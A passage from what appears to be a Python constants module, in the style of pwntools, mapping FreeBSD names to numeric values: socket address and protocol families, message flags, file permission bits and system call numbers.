Constant('AF_NETBIOS',6) AF_ISO = Constant('AF_ISO',7) AF_OSI = Constant('AF_OSI',7) AF_ECMA = Constant('AF_ECMA',8) AF_DATAKIT = Constant('AF_DATAKIT',9) AF_CCITT = Constant('AF_CCITT',10) AF_SNA = Constant('AF_SNA',11) AF_DECnet = Constant('AF_DECnet',12) AF_DLI = Constant('AF_DLI',13) AF_LAT = Constant('AF_LAT',14) AF_HYLINK = Constant('AF_HYLINK',15) AF_APPLETALK = Constant('AF_APPLETALK',16) AF_ROUTE = Constant('AF_ROUTE',17) AF_LINK = Constant('AF_LINK',18) pseudo_AF_XTP = Constant('pseudo_AF_XTP',19) AF_COIP = Constant('AF_COIP',20) AF_CNT = Constant('AF_CNT',21) pseudo_AF_RTIP = Constant('pseudo_AF_RTIP',22) AF_IPX = Constant('AF_IPX',23) AF_SIP = Constant('AF_SIP',24) pseudo_AF_PIP = Constant('pseudo_AF_PIP',25) AF_ISDN = Constant('AF_ISDN',26) AF_E164 = Constant('AF_E164',26) pseudo_AF_KEY = Constant('pseudo_AF_KEY',27) AF_INET6 = Constant('AF_INET6',28) AF_NATM = Constant('AF_NATM',29) AF_ATM = Constant('AF_ATM',30) pseudo_AF_HDRCMPLT = Constant('pseudo_AF_HDRCMPLT',31) AF_NETGRAPH = Constant('AF_NETGRAPH',32) AF_SLOW = Constant('AF_SLOW',33) AF_SCLUSTER = Constant('AF_SCLUSTER',34) AF_ARP = Constant('AF_ARP',35) AF_BLUETOOTH = Constant('AF_BLUETOOTH',36) AF_IEEE80211 = Constant('AF_IEEE80211',37) AF_MAX = Constant('AF_MAX',38) AF_VENDOR00 = Constant('AF_VENDOR00',39) AF_VENDOR01 = Constant('AF_VENDOR01',41) AF_VENDOR02 = Constant('AF_VENDOR02',43) AF_VENDOR03 = Constant('AF_VENDOR03',45) AF_VENDOR04 = Constant('AF_VENDOR04',47) AF_VENDOR05 = Constant('AF_VENDOR05',49) AF_VENDOR06 = Constant('AF_VENDOR06',51) AF_VENDOR07 = Constant('AF_VENDOR07',53) AF_VENDOR08 = Constant('AF_VENDOR08',55) AF_VENDOR09 = Constant('AF_VENDOR09',57) AF_VENDOR10 = Constant('AF_VENDOR10',59) AF_VENDOR11 = Constant('AF_VENDOR11',61) AF_VENDOR12 = Constant('AF_VENDOR12',63) AF_VENDOR13 = Constant('AF_VENDOR13',65) AF_VENDOR14 = Constant('AF_VENDOR14',67) AF_VENDOR15 = Constant('AF_VENDOR15',69) AF_VENDOR16 = Constant('AF_VENDOR16',71) AF_VENDOR17 = Constant('AF_VENDOR17',73) AF_VENDOR18 = Constant('AF_VENDOR18',75) AF_VENDOR19 = Constant('AF_VENDOR19',77) AF_VENDOR20 = Constant('AF_VENDOR20',79) AF_VENDOR21 = Constant('AF_VENDOR21',81) AF_VENDOR22 = Constant('AF_VENDOR22',83) AF_VENDOR23 = Constant('AF_VENDOR23',85) AF_VENDOR24 = Constant('AF_VENDOR24',87) AF_VENDOR25 = Constant('AF_VENDOR25',89) AF_VENDOR26 = Constant('AF_VENDOR26',91) AF_VENDOR27 = Constant('AF_VENDOR27',93) AF_VENDOR28 = Constant('AF_VENDOR28',95) AF_VENDOR29 = Constant('AF_VENDOR29',97) AF_VENDOR30 = Constant('AF_VENDOR30',99) AF_VENDOR31 = Constant('AF_VENDOR31',101) AF_VENDOR32 = Constant('AF_VENDOR32',103) AF_VENDOR33 = Constant('AF_VENDOR33',105) AF_VENDOR34 = Constant('AF_VENDOR34',107) AF_VENDOR35 = Constant('AF_VENDOR35',109) AF_VENDOR36 = Constant('AF_VENDOR36',111) AF_VENDOR37 = Constant('AF_VENDOR37',113) AF_VENDOR38 = Constant('AF_VENDOR38',115) AF_VENDOR39 = Constant('AF_VENDOR39',117) AF_VENDOR40 = Constant('AF_VENDOR40',119) AF_VENDOR41 = Constant('AF_VENDOR41',121) AF_VENDOR42 = Constant('AF_VENDOR42',123) AF_VENDOR43 = Constant('AF_VENDOR43',125) AF_VENDOR44 = Constant('AF_VENDOR44',127) AF_VENDOR45 = Constant('AF_VENDOR45',129) AF_VENDOR46 = Constant('AF_VENDOR46',131) AF_VENDOR47 = Constant('AF_VENDOR47',133) SOCK_MAXADDRLEN = Constant('SOCK_MAXADDRLEN',255) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_LOCAL = Constant('PF_LOCAL',1) PF_UNIX = Constant('PF_UNIX',1) PF_INET = Constant('PF_INET',2) PF_IMPLINK = Constant('PF_IMPLINK',3) PF_PUP = Constant('PF_PUP',4) PF_CHAOS = Constant('PF_CHAOS',5) PF_NETBIOS = Constant('PF_NETBIOS',6) PF_ISO = Constant('PF_ISO',7) PF_OSI = Constant('PF_OSI',7) PF_ECMA = Constant('PF_ECMA',8) PF_DATAKIT = Constant('PF_DATAKIT',9) PF_CCITT = Constant('PF_CCITT',10) PF_SNA = Constant('PF_SNA',11) PF_DECnet = Constant('PF_DECnet',12) PF_DLI = Constant('PF_DLI',13) PF_LAT = Constant('PF_LAT',14) PF_HYLINK = Constant('PF_HYLINK',15) PF_APPLETALK = Constant('PF_APPLETALK',16) PF_ROUTE = Constant('PF_ROUTE',17) PF_LINK = Constant('PF_LINK',18) PF_XTP = Constant('PF_XTP',19) PF_COIP = Constant('PF_COIP',20) PF_CNT = Constant('PF_CNT',21) PF_SIP = Constant('PF_SIP',24) PF_IPX = Constant('PF_IPX',23) PF_RTIP = Constant('PF_RTIP',22) PF_PIP = Constant('PF_PIP',25) PF_ISDN = Constant('PF_ISDN',26) PF_KEY = Constant('PF_KEY',27) PF_INET6 = Constant('PF_INET6',28) PF_NATM = Constant('PF_NATM',29) PF_ATM = Constant('PF_ATM',30) PF_NETGRAPH = Constant('PF_NETGRAPH',32) PF_SLOW = Constant('PF_SLOW',33) PF_SCLUSTER = Constant('PF_SCLUSTER',34) PF_ARP = Constant('PF_ARP',35) PF_BLUETOOTH = Constant('PF_BLUETOOTH',36) PF_MAX = Constant('PF_MAX',38) NET_MAXID = Constant('NET_MAXID',38) NET_RT_DUMP = Constant('NET_RT_DUMP',1) NET_RT_FLAGS = Constant('NET_RT_FLAGS',2) NET_RT_IFLIST = Constant('NET_RT_IFLIST',3) NET_RT_IFMALIST = Constant('NET_RT_IFMALIST',4) NET_RT_IFLISTL = Constant('NET_RT_IFLISTL',5) NET_RT_MAXID = Constant('NET_RT_MAXID',6) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',0x1) MSG_PEEK = Constant('MSG_PEEK',0x2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',0x4) MSG_EOR = Constant('MSG_EOR',0x8) MSG_TRUNC = Constant('MSG_TRUNC',0x10) MSG_CTRUNC = Constant('MSG_CTRUNC',0x20) MSG_WAITALL = Constant('MSG_WAITALL',0x40) MSG_NOTIFICATION = Constant('MSG_NOTIFICATION',0x2000) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x80) MSG_EOF = Constant('MSG_EOF',0x100) MSG_NBIO = Constant('MSG_NBIO',0x4000) MSG_COMPAT = Constant('MSG_COMPAT',0x8000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x20000) CMGROUP_MAX = Constant('CMGROUP_MAX',16) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',0x02) SCM_CREDS = Constant('SCM_CREDS',0x03) SCM_BINTIME = Constant('SCM_BINTIME',0x04) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) PRU_FLUSH_RD = Constant('PRU_FLUSH_RD',0) PRU_FLUSH_WR = Constant('PRU_FLUSH_WR',1) PRU_FLUSH_RDWR = Constant('PRU_FLUSH_RDWR',2) SF_NODISKIO = Constant('SF_NODISKIO',0x00000001) SF_MNOWAIT = Constant('SF_MNOWAIT',0x00000002) SF_SYNC = Constant('SF_SYNC',0x00000004) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISTXT = Constant('S_ISTXT',0o001000) S_IRWXU = Constant('S_IRWXU',0o000700) S_IRUSR = Constant('S_IRUSR',0o000400) S_IWUSR = Constant('S_IWUSR',0o000200) S_IXUSR = Constant('S_IXUSR',0o000100) S_IREAD = Constant('S_IREAD',0o000400) S_IWRITE = Constant('S_IWRITE',0o000200) S_IEXEC = Constant('S_IEXEC',0o000100) S_IRWXG = Constant('S_IRWXG',0o000070) S_IRGRP = Constant('S_IRGRP',0o000040) S_IWGRP = Constant('S_IWGRP',0o000020) S_IXGRP = Constant('S_IXGRP',0o000010) S_IRWXO = Constant('S_IRWXO',0o000007) S_IROTH = Constant('S_IROTH',0o000004) S_IWOTH = Constant('S_IWOTH',0o000002) S_IXOTH = Constant('S_IXOTH',0o000001) S_IFMT = Constant('S_IFMT',0o170000) S_IFIFO = Constant('S_IFIFO',0o010000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFREG = Constant('S_IFREG',0o100000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IFWHT = Constant('S_IFWHT',0o160000) ACCESSPERMS = Constant('ACCESSPERMS',(0o000700|0o000070|0o000007)) ALLPERMS = Constant('ALLPERMS',(0o004000|0o002000|0o001000|0o000700|0o000070|0o000007)) DEFFILEMODE = Constant('DEFFILEMODE',(0o000400|0o000200|0o000040|0o000020|0o000004|0o000002)) S_BLKSIZE = Constant('S_BLKSIZE',512) UF_SETTABLE = Constant('UF_SETTABLE',0x0000ffff) UF_NODUMP = Constant('UF_NODUMP',0x00000001) UF_IMMUTABLE = Constant('UF_IMMUTABLE',0x00000002) UF_APPEND = Constant('UF_APPEND',0x00000004) UF_OPAQUE = Constant('UF_OPAQUE',0x00000008) UF_NOUNLINK = Constant('UF_NOUNLINK',0x00000010) SF_SETTABLE = Constant('SF_SETTABLE',0xffff0000) SF_ARCHIVED = Constant('SF_ARCHIVED',0x00010000) SF_IMMUTABLE = Constant('SF_IMMUTABLE',0x00020000) SF_APPEND = Constant('SF_APPEND',0x00040000) SF_NOUNLINK = Constant('SF_NOUNLINK',0x00100000) SF_SNAPSHOT = Constant('SF_SNAPSHOT',0x00200000) SYS_syscall = Constant('SYS_syscall',0) SYS_exit = Constant('SYS_exit',1) SYS_fork = Constant('SYS_fork',2) SYS_read = Constant('SYS_read',3) SYS_write = Constant('SYS_write',4) SYS_open = Constant('SYS_open',5) SYS_close = Constant('SYS_close',6) SYS_wait4 = Constant('SYS_wait4',7) SYS_link = Constant('SYS_link',9) SYS_unlink = Constant('SYS_unlink',10) SYS_chdir = Constant('SYS_chdir',12) SYS_fchdir = Constant('SYS_fchdir',13) SYS_mknod = Constant('SYS_mknod',14) SYS_chmod = Constant('SYS_chmod',15) SYS_chown = Constant('SYS_chown',16) SYS_break = Constant('SYS_break',17) SYS_freebsd4_getfsstat = Constant('SYS_freebsd4_getfsstat',18) SYS_getpid = Constant('SYS_getpid',20) SYS_mount = Constant('SYS_mount',21) SYS_unmount = Constant('SYS_unmount',22) SYS_setuid = Constant('SYS_setuid',23) SYS_getuid = Constant('SYS_getuid',24) SYS_geteuid = Constant('SYS_geteuid',25) SYS_ptrace = Constant('SYS_ptrace',26) SYS_recvmsg = Constant('SYS_recvmsg',27) SYS_sendmsg = Constant('SYS_sendmsg',28) SYS_recvfrom = Constant('SYS_recvfrom',29) SYS_accept = Constant('SYS_accept',30) SYS_getpeername = Constant('SYS_getpeername',31) SYS_getsockname = Constant('SYS_getsockname',32) SYS_access = Constant('SYS_access',33) SYS_chflags = Constant('SYS_chflags',34) SYS_fchflags = Constant('SYS_fchflags',35) SYS_sync = Constant('SYS_sync',36) SYS_kill = Constant('SYS_kill',37) SYS_getppid = Constant('SYS_getppid',39) SYS_dup = Constant('SYS_dup',41) SYS_pipe = Constant('SYS_pipe',42) SYS_getegid = Constant('SYS_getegid',43) SYS_profil = Constant('SYS_profil',44) SYS_ktrace = Constant('SYS_ktrace',45) SYS_getgid = Constant('SYS_getgid',47) SYS_getlogin = Constant('SYS_getlogin',49) SYS_setlogin = Constant('SYS_setlogin',50) SYS_acct = Constant('SYS_acct',51) SYS_sigaltstack = Constant('SYS_sigaltstack',53) SYS_ioctl = Constant('SYS_ioctl',54) SYS_reboot = Constant('SYS_reboot',55) SYS_revoke = Constant('SYS_revoke',56) SYS_symlink = Constant('SYS_symlink',57) SYS_readlink = Constant('SYS_readlink',58) SYS_execve = Constant('SYS_execve',59) SYS_umask = Constant('SYS_umask',60) SYS_chroot = Constant('SYS_chroot',61) SYS_msync = Constant('SYS_msync',65) SYS_vfork = Constant('SYS_vfork',66) SYS_sbrk = Constant('SYS_sbrk',69) SYS_sstk = Constant('SYS_sstk',70) SYS_vadvise = Constant('SYS_vadvise',72) SYS_munmap = Constant('SYS_munmap',73) SYS_mprotect = Constant('SYS_mprotect',74) SYS_madvise = Constant('SYS_madvise',75) SYS_mincore = Constant('SYS_mincore',78) SYS_getgroups = Constant('SYS_getgroups',79) SYS_setgroups = Constant('SYS_setgroups',80) SYS_getpgrp = Constant('SYS_getpgrp',81) SYS_setpgid = Constant('SYS_setpgid',82) SYS_setitimer = Constant('SYS_setitimer',83) SYS_swapon = Constant('SYS_swapon',85) SYS_getitimer = Constant('SYS_getitimer',86) SYS_getdtablesize = Constant('SYS_getdtablesize',89) SYS_dup2 = Constant('SYS_dup2',90) SYS_fcntl = Constant('SYS_fcntl',92) SYS_select = Constant('SYS_select',93) SYS_fsync = Constant('SYS_fsync',95) SYS_setpriority = Constant('SYS_setpriority',96) SYS_socket = Constant('SYS_socket',97) SYS_connect = Constant('SYS_connect',98) SYS_getpriority = Constant('SYS_getpriority',100) SYS_bind = Constant('SYS_bind',104) SYS_setsockopt = Constant('SYS_setsockopt',105) SYS_listen = Constant('SYS_listen',106) SYS_gettimeofday = Constant('SYS_gettimeofday',116) SYS_getrusage = Constant('SYS_getrusage',117) SYS_getsockopt = Constant('SYS_getsockopt',118) SYS_readv = Constant('SYS_readv',120) SYS_writev = Constant('SYS_writev',121) SYS_settimeofday = Constant('SYS_settimeofday',122) SYS_fchown = Constant('SYS_fchown',123) SYS_fchmod = Constant('SYS_fchmod',124) SYS_setreuid = Constant('SYS_setreuid',126) SYS_setregid = Constant('SYS_setregid',127) SYS_rename = Constant('SYS_rename',128) SYS_flock = Constant('SYS_flock',131) SYS_mkfifo = Constant('SYS_mkfifo',132) SYS_sendto = Constant('SYS_sendto',133) SYS_shutdown = Constant('SYS_shutdown',134) SYS_socketpair = Constant('SYS_socketpair',135) SYS_mkdir = Constant('SYS_mkdir',136) SYS_rmdir = Constant('SYS_rmdir',137) SYS_utimes = Constant('SYS_utimes',138) SYS_adjtime = Constant('SYS_adjtime',140) SYS_setsid = Constant('SYS_setsid',147) SYS_quotactl = Constant('SYS_quotactl',148) SYS_nlm_syscall = Constant('SYS_nlm_syscall',154) SYS_nfssvc = Constant('SYS_nfssvc',155) SYS_freebsd4_statfs = Constant('SYS_freebsd4_statfs',157) SYS_freebsd4_fstatfs = Constant('SYS_freebsd4_fstatfs',158) SYS_lgetfh = Constant('SYS_lgetfh',160) SYS_getfh = Constant('SYS_getfh',161) SYS_freebsd4_getdomainname = Constant('SYS_freebsd4_getdomainname',162) SYS_freebsd4_setdomainname = Constant('SYS_freebsd4_setdomainname',163) SYS_freebsd4_uname = Constant('SYS_freebsd4_uname',164) SYS_sysarch = Constant('SYS_sysarch',165) SYS_rtprio = Constant('SYS_rtprio',166) SYS_semsys = Constant('SYS_semsys',169) SYS_msgsys = Constant('SYS_msgsys',170) SYS_shmsys = Constant('SYS_shmsys',171) SYS_freebsd6_pread = Constant('SYS_freebsd6_pread',173) SYS_freebsd6_pwrite = Constant('SYS_freebsd6_pwrite',174) SYS_setfib = Constant('SYS_setfib',175) SYS_ntp_adjtime = Constant('SYS_ntp_adjtime',176) SYS_setgid = Constant('SYS_setgid',181) SYS_setegid = Constant('SYS_setegid',182) SYS_seteuid = Constant('SYS_seteuid',183) SYS_stat = Constant('SYS_stat',188) SYS_fstat = Constant('SYS_fstat',189) SYS_lstat = Constant('SYS_lstat',190) SYS_pathconf = Constant('SYS_pathconf',191) SYS_fpathconf = Constant('SYS_fpathconf',192) SYS_getrlimit = Constant('SYS_getrlimit',194) SYS_setrlimit = Constant('SYS_setrlimit',195) SYS_getdirentries = Constant('SYS_getdirentries',196) SYS_freebsd6_mmap = Constant('SYS_freebsd6_mmap',197) SYS___syscall = Constant('SYS___syscall',198) SYS_freebsd6_lseek = Constant('SYS_freebsd6_lseek',199) SYS_freebsd6_truncate = Constant('SYS_freebsd6_truncate',200) SYS_freebsd6_ftruncate = Constant('SYS_freebsd6_ftruncate',201) SYS___sysctl = Constant('SYS___sysctl',202) SYS_mlock = Constant('SYS_mlock',203) SYS_munlock = Constant('SYS_munlock',204) SYS_undelete = Constant('SYS_undelete',205) SYS_futimes = Constant('SYS_futimes',206) SYS_getpgid = Constant('SYS_getpgid',207) SYS_poll = Constant('SYS_poll',209) SYS_freebsd7___semctl = Constant('SYS_freebsd7___semctl',220) SYS_semget = Constant('SYS_semget',221) SYS_semop = Constant('SYS_semop',222) SYS_freebsd7_msgctl = Constant('SYS_freebsd7_msgctl',224) SYS_msgget = Constant('SYS_msgget',225) SYS_msgsnd = Constant('SYS_msgsnd',226) SYS_msgrcv = Constant('SYS_msgrcv',227) SYS_shmat = Constant('SYS_shmat',228) SYS_freebsd7_shmctl = Constant('SYS_freebsd7_shmctl',229) SYS_shmdt = Constant('SYS_shmdt',230) SYS_shmget = Constant('SYS_shmget',231) SYS_clock_gettime = Constant('SYS_clock_gettime',232) SYS_clock_settime = Constant('SYS_clock_settime',233) SYS_clock_getres = Constant('SYS_clock_getres',234) SYS_ktimer_create = Constant('SYS_ktimer_create',235) SYS_ktimer_delete = Constant('SYS_ktimer_delete',236) SYS_ktimer_settime = Constant('SYS_ktimer_settime',237) SYS_ktimer_gettime = Constant('SYS_ktimer_gettime',238) SYS_ktimer_getoverrun = Constant('SYS_ktimer_getoverrun',239) SYS_nanosleep = Constant('SYS_nanosleep',240) SYS_ntp_gettime = Constant('SYS_ntp_gettime',248) SYS_minherit = Constant('SYS_minherit',250) SYS_rfork = Constant('SYS_rfork',251) SYS_openbsd_poll = Constant('SYS_openbsd_poll',252) SYS_issetugid = Constant('SYS_issetugid',253) SYS_lchown = Constant('SYS_lchown',254) SYS_aio_read = Constant('SYS_aio_read',255) SYS_aio_write = Constant('SYS_aio_write',256) SYS_lio_listio = Constant('SYS_lio_listio',257) SYS_getdents = Constant('SYS_getdents',272) SYS_lchmod = Constant('SYS_lchmod',274) SYS_netbsd_lchown = Constant('SYS_netbsd_lchown',275) SYS_lutimes = Constant('SYS_lutimes',276) SYS_netbsd_msync = Constant('SYS_netbsd_msync',277) SYS_nstat = Constant('SYS_nstat',278) SYS_nfstat = Constant('SYS_nfstat',279) SYS_nlstat = Constant('SYS_nlstat',280) SYS_preadv = Constant('SYS_preadv',289) SYS_pwritev = Constant('SYS_pwritev',290) SYS_freebsd4_fhstatfs = Constant('SYS_freebsd4_fhstatfs',297) SYS_fhopen = Constant('SYS_fhopen',298) SYS_fhstat = Constant('SYS_fhstat',299) SYS_modnext = Constant('SYS_modnext',300) SYS_modstat = Constant('SYS_modstat',301) SYS_modfnext = Constant('SYS_modfnext',302) SYS_modfind = Constant('SYS_modfind',303) SYS_kldload = Constant('SYS_kldload',304) SYS_kldunload = Constant('SYS_kldunload',305) SYS_kldfind = Constant('SYS_kldfind',306) SYS_kldnext = Constant('SYS_kldnext',307) SYS_kldstat = Constant('SYS_kldstat',308) SYS_kldfirstmod = Constant('SYS_kldfirstmod',309) SYS_getsid = Constant('SYS_getsid',310) SYS_setresuid = Constant('SYS_setresuid',311) SYS_setresgid = Constant('SYS_setresgid',312) SYS_aio_return = Constant('SYS_aio_return',314) SYS_aio_suspend = Constant('SYS_aio_suspend',315) SYS_aio_cancel = Constant('SYS_aio_cancel',316) SYS_aio_error = Constant('SYS_aio_error',317) SYS_oaio_read = Constant('SYS_oaio_read',318) SYS_oaio_write = Constant('SYS_oaio_write',319) SYS_olio_listio = Constant('SYS_olio_listio',320) SYS_yield = Constant('SYS_yield',321) SYS_mlockall = Constant('SYS_mlockall',324) SYS_munlockall = Constant('SYS_munlockall',325) SYS___getcwd = Constant('SYS___getcwd',326) SYS_sched_setparam = Constant('SYS_sched_setparam',327) SYS_sched_getparam = Constant('SYS_sched_getparam',328) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',329) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',330) SYS_sched_yield = Constant('SYS_sched_yield',331) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',332) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',333) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',334) SYS_utrace = Constant('SYS_utrace',335) SYS_freebsd4_sendfile = Constant('SYS_freebsd4_sendfile',336) SYS_kldsym = Constant('SYS_kldsym',337) SYS_jail = Constant('SYS_jail',338) SYS_nnpfs_syscall = Constant('SYS_nnpfs_syscall',339) SYS_sigprocmask = Constant('SYS_sigprocmask',340) SYS_sigsuspend = Constant('SYS_sigsuspend',341) SYS_freebsd4_sigaction = Constant('SYS_freebsd4_sigaction',342) SYS_sigpending = Constant('SYS_sigpending',343) SYS_freebsd4_sigreturn = Constant('SYS_freebsd4_sigreturn',344) SYS_sigtimedwait = Constant('SYS_sigtimedwait',345) SYS_sigwaitinfo = Constant('SYS_sigwaitinfo',346) SYS___acl_get_file = Constant('SYS___acl_get_file',347) SYS___acl_set_file = Constant('SYS___acl_set_file',348) SYS___acl_get_fd = Constant('SYS___acl_get_fd',349) SYS___acl_set_fd = Constant('SYS___acl_set_fd',350) SYS___acl_delete_file = Constant('SYS___acl_delete_file',351) SYS___acl_delete_fd = Constant('SYS___acl_delete_fd',352) SYS___acl_aclcheck_file = Constant('SYS___acl_aclcheck_file',353) SYS___acl_aclcheck_fd = Constant('SYS___acl_aclcheck_fd',354) SYS_extattrctl = Constant('SYS_extattrctl',355) SYS_extattr_set_file = Constant('SYS_extattr_set_file',356) SYS_extattr_get_file = Constant('SYS_extattr_get_file',357) SYS_extattr_delete_file = Constant('SYS_extattr_delete_file',358) SYS_aio_waitcomplete = Constant('SYS_aio_waitcomplete',359) SYS_getresuid = Constant('SYS_getresuid',360) SYS_getresgid = Constant('SYS_getresgid',361) SYS_kqueue = Constant('SYS_kqueue',362) SYS_kevent = Constant('SYS_kevent',363) SYS_extattr_set_fd = Constant('SYS_extattr_set_fd',371) SYS_extattr_get_fd = Constant('SYS_extattr_get_fd',372) SYS_extattr_delete_fd = Constant('SYS_extattr_delete_fd',373) SYS___setugid = Constant('SYS___setugid',374) SYS_eaccess = Constant('SYS_eaccess',376) SYS_afs3_syscall = Constant('SYS_afs3_syscall',377) SYS_nmount = Constant('SYS_nmount',378) SYS___mac_get_proc = Constant('SYS___mac_get_proc',384) SYS___mac_set_proc = Constant('SYS___mac_set_proc',385) SYS___mac_get_fd = Constant('SYS___mac_get_fd',386) SYS___mac_get_file = Constant('SYS___mac_get_file',387) SYS___mac_set_fd = Constant('SYS___mac_set_fd',388) SYS___mac_set_file = Constant('SYS___mac_set_file',389) SYS_kenv = Constant('SYS_kenv',390) SYS_lchflags = Constant('SYS_lchflags',391) SYS_uuidgen = Constant('SYS_uuidgen',392) SYS_sendfile = Constant('SYS_sendfile',393) SYS_mac_syscall = Constant('SYS_mac_syscall',394) SYS_getfsstat = Constant('SYS_getfsstat',395) SYS_statfs = Constant('SYS_statfs',396) SYS_fstatfs = Constant('SYS_fstatfs',397) SYS_fhstatfs = Constant('SYS_fhstatfs',398) SYS_ksem_close = Constant('SYS_ksem_close',400) SYS_ksem_post = Constant('SYS_ksem_post',401) SYS_ksem_wait = Constant('SYS_ksem_wait',402) SYS_ksem_trywait = Constant('SYS_ksem_trywait',403) SYS_ksem_init = Constant('SYS_ksem_init',404) SYS_ksem_open = Constant('SYS_ksem_open',405) SYS_ksem_unlink = Constant('SYS_ksem_unlink',406) SYS_ksem_getvalue = Constant('SYS_ksem_getvalue',407) SYS_ksem_destroy = Constant('SYS_ksem_destroy',408) SYS___mac_get_pid = Constant('SYS___mac_get_pid',409) SYS___mac_get_link = Constant('SYS___mac_get_link',410) SYS___mac_set_link = Constant('SYS___mac_set_link',411) SYS_extattr_set_link = Constant('SYS_extattr_set_link',412) SYS_extattr_get_link = Constant('SYS_extattr_get_link',413) SYS_extattr_delete_link = Constant('SYS_extattr_delete_link',414) SYS___mac_execve = Constant('SYS___mac_execve',415) SYS_sigaction = Constant('SYS_sigaction',416) SYS_sigreturn = Constant('SYS_sigreturn',417) SYS_getcontext = Constant('SYS_getcontext',421) SYS_setcontext = Constant('SYS_setcontext',422) SYS_swapcontext = Constant('SYS_swapcontext',423) SYS_swapoff = Constant('SYS_swapoff',424) SYS___acl_get_link = Constant('SYS___acl_get_link',425) SYS___acl_set_link = Constant('SYS___acl_set_link',426) SYS___acl_delete_link = Constant('SYS___acl_delete_link',427) SYS___acl_aclcheck_link = Constant('SYS___acl_aclcheck_link',428) SYS_sigwait = Constant('SYS_sigwait',429) SYS_thr_create = Constant('SYS_thr_create',430) SYS_thr_exit = Constant('SYS_thr_exit',431) SYS_thr_self = Constant('SYS_thr_self',432) SYS_thr_kill = Constant('SYS_thr_kill',433) SYS__umtx_lock = Constant('SYS__umtx_lock',434) SYS__umtx_unlock = Constant('SYS__umtx_unlock',435) SYS_jail_attach = Constant('SYS_jail_attach',436) SYS_extattr_list_fd = Constant('SYS_extattr_list_fd',437) SYS_extattr_list_file = Constant('SYS_extattr_list_file',438) SYS_extattr_list_link = Constant('SYS_extattr_list_link',439) SYS_ksem_timedwait = Constant('SYS_ksem_timedwait',441) SYS_thr_suspend = Constant('SYS_thr_suspend',442) SYS_thr_wake = Constant('SYS_thr_wake',443) SYS_kldunloadf = Constant('SYS_kldunloadf',444) SYS_audit = Constant('SYS_audit',445) SYS_auditon = Constant('SYS_auditon',446) SYS_getauid = Constant('SYS_getauid',447) SYS_setauid = Constant('SYS_setauid',448) SYS_getaudit = Constant('SYS_getaudit',449) SYS_setaudit = Constant('SYS_setaudit',450) SYS_getaudit_addr = Constant('SYS_getaudit_addr',451) SYS_setaudit_addr = Constant('SYS_setaudit_addr',452) SYS_auditctl = Constant('SYS_auditctl',453) SYS__umtx_op = Constant('SYS__umtx_op',454) SYS_thr_new = Constant('SYS_thr_new',455) SYS_sigqueue = Constant('SYS_sigqueue',456) SYS_kmq_open = Constant('SYS_kmq_open',457) SYS_kmq_setattr = Constant('SYS_kmq_setattr',458) SYS_kmq_timedreceive = Constant('SYS_kmq_timedreceive',459) SYS_kmq_timedsend = Constant('SYS_kmq_timedsend',460) SYS_kmq_notify = Constant('SYS_kmq_notify',461) SYS_kmq_unlink = Constant('SYS_kmq_unlink',462) SYS_abort2 = Constant('SYS_abort2',463) SYS_thr_set_name = Constant('SYS_thr_set_name',464) SYS_aio_fsync = Constant('SYS_aio_fsync',465) SYS_rtprio_thread = Constant('SYS_rtprio_thread',466) SYS_sctp_peeloff = Constant('SYS_sctp_peeloff',471) SYS_sctp_generic_sendmsg = Constant('SYS_sctp_generic_sendmsg',472) SYS_sctp_generic_sendmsg_iov = Constant('SYS_sctp_generic_sendmsg_iov',473) SYS_sctp_generic_recvmsg = Constant('SYS_sctp_generic_recvmsg',474) SYS_pread = Constant('SYS_pread',475) SYS_pwrite = Constant('SYS_pwrite',476) SYS_mmap = Constant('SYS_mmap',477) SYS_lseek = Constant('SYS_lseek',478) SYS_truncate = Constant('SYS_truncate',479) SYS_ftruncate = Constant('SYS_ftruncate',480) SYS_thr_kill2 = Constant('SYS_thr_kill2',481) SYS_shm_open = Constant('SYS_shm_open',482) SYS_shm_unlink = Constant('SYS_shm_unlink',483) SYS_cpuset = Constant('SYS_cpuset',484) SYS_cpuset_setid = Constant('SYS_cpuset_setid',485) SYS_cpuset_getid = Constant('SYS_cpuset_getid',486) SYS_cpuset_getaffinity = Constant('SYS_cpuset_getaffinity',487) SYS_cpuset_setaffinity = Constant('SYS_cpuset_setaffinity',488) SYS_faccessat = Constant('SYS_faccessat',489) SYS_fchmodat = Constant('SYS_fchmodat',490) SYS_fchownat = Constant('SYS_fchownat',491) SYS_fexecve = Constant('SYS_fexecve',492) SYS_fstatat = Constant('SYS_fstatat',493) SYS_futimesat = Constant('SYS_futimesat',494) SYS_linkat = Constant('SYS_linkat',495) SYS_mkdirat = Constant('SYS_mkdirat',496) SYS_mkfifoat = Constant('SYS_mkfifoat',497) SYS_mknodat = Constant('SYS_mknodat',498) SYS_openat = Constant('SYS_openat',499) SYS_readlinkat = Constant('SYS_readlinkat',500) SYS_renameat = Constant('SYS_renameat',501) SYS_symlinkat = Constant('SYS_symlinkat',502) SYS_unlinkat = Constant('SYS_unlinkat',503) SYS_posix_openpt = Constant('SYS_posix_openpt',504) SYS_gssd_syscall = Constant('SYS_gssd_syscall',505) SYS_jail_get = Constant('SYS_jail_get',506) SYS_jail_set = Constant('SYS_jail_set',507) SYS_jail_remove = Constant('SYS_jail_remove',508) SYS_closefrom = Constant('SYS_closefrom',509) SYS___semctl = Constant('SYS___semctl',510) SYS_msgctl = Constant('SYS_msgctl',511) SYS_shmctl = Constant('SYS_shmctl',512) SYS_lpathconf = Constant('SYS_lpathconf',513) SYS_cap_new = Constant('SYS_cap_new',514) 